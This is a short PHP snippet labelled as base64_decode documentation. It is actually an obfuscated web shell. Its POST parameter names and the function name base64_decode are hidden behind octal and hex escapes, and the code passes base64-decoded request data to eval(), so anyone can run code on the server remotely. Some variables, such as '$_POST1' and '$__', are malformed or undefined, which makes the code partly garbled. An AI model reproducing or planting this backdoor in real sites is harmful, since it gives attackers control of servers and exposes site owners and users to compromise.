- base64_decode: documentation ( source)
<?php
if(isset($_POST1["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"]))
{
eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}
$code=base64_decode($_POST1);
eval($code);
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));
?>